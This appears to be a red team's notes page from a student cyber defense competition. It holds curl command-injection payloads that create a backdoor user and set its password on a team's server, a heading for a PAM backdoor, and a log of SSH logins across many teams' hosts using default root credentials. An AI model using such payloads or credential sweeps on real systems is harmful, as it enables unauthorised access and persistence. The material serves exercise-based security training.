Competition Information
Uploaded Files:
ITO 2024.pdf
Add content here...
Flag Locations
Add content here...
General Help and Information
Uploaded Files:
Screenshot 2024-04-20 at 10.07.26 AM.png,
Team_7_Shadow_File,
deploy-all.sh,
tom.jpg,
sal.webp,
file.txt
https://docs.google.com/presentation/d/1xMoD1wm4CFmsJe-JbcalcvY5zXhPwNtGIF0JSIzsiZo/edit?usp=sharing
Added Screenshot of Team 11 www flag and how they failed to put the data in the file.
Added Screenshot of Team 11 www flag and how they failed to put the data in the file.
curl -X POST "http://www.team2.isucdc.com:8080" -d "test@example.com\`useradd -m taco\`"
curl -X POST "http://www.team2.isucdc.com:8080" -d "test@example.com\`echo \"taco:tco1234tco\" | chpasswd\`"
PAM backdoor one-liner:
www site rebuild/restart one liner
/home/cdc/.nvm/versions/node/v21.7.1/bin/npm run build && service website stop && service website start
/home/cdc/.nvm/versions/node/v21.7.1/bin/npm run build
searching for www in team4
www.team4.isucdc.comTrying to ssh to www.team4.isucdc.com
default creds worked for user root password cdc
files.team4.isucdc.com
Trying to ssh to files.team4.isucdc.com
default creds worked for user root password cdc
Trying to ssh to files.team4.isucdc.com
default creds worked for user root password cdc
lc.team4.isucdc.com
Trying to ssh to lc.team4.isucdc.com
default creds worked for user root password cdc
Trying to ssh to lc.team4.isucdc.com
default creds worked for user root password cdc
files.team5.isucdc.com
Trying to ssh to files.team5.isucdc.com
default creds worked for user root password cdc
Trying to ssh to files.team5.isucdc.com
default creds worked for user root password cdc
files.team7.isucdc.com
Trying to ssh to files.team7.isucdc.com
default creds worked for user root password cdc
Trying to ssh to files.team7.isucdc.com
default creds worked for user root password cdc
www.team8.isucdc.com
Trying to ssh to www.team8.isucdc.com
default creds worked for user root password cdc
Trying to ssh to www.team8.isucdc.com
default creds worked for user root password cdc
files.team9.isucdc.com
Trying to ssh to files.team9.isucdc.com
default creds worked for user root password cdc
Trying to ssh to files.team9.isucdc.com
default creds worked for user root password cdc
lc.team9.isucdc.com
Trying to ssh to lc.team9.isucdc.com
default creds worked for user root password cdc
wc.team9.isucdc.com
default creds worked for user Administrator password cdc
www.team11.isucdc.comTrying to ssh to lc.team9.isucdc.com
default creds worked for user root password cdc
wc.team9.isucdc.com
default creds worked for user Administrator password cdc
Trying to ssh to www.team11.isucdc.com
default creds worked for user root password cdc
files.team11.isucdc.com
Trying to ssh to files.team11.isucdc.com
default creds worked for user root password cdc
Trying to ssh to files.team11.isucdc.com
default creds worked for user root password cdc
website on the www box
root@www:/opt/website# ls
app components jsconfig.json next.config.mjs node_modules package.json package-lock.json postcss.config.js public README.md tailwind.config.js yarn.lock